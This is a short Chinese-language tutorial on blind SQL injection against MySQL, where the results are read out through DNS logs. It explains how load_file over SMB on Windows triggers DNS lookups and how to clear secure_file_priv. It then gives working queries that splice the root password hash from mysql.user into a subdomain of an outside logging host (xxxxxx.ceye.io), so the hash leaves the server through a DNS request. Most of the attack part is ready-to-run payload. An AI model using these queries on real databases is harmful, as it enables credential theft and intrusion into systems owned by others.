利用DNS日志进行MySQL盲注

0x01 技术原理


这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。
熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件

# 条件1
+  1、由于基于SMB请求,需要在Windows环境下
# 条件2
+  2、需要MySQL的配置支持,主要是这个配置需要为空
secure_file_priv

0x02 测试


0x02 – 01 简单的load权限查看


show global variables like '%secure%';


这里满足要求,如果不满足,可以在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,需要加上如下这行:

secure_file_priv = 

0x02 – 02 load一个域名下的文件试试看


select load_file('\\\\root.xxxxxx.ceye.io\\abc');

0x03 – 03 使用拼接函数,对我们想要获取的数据进行拼接


select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')

0x02 – 04


select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));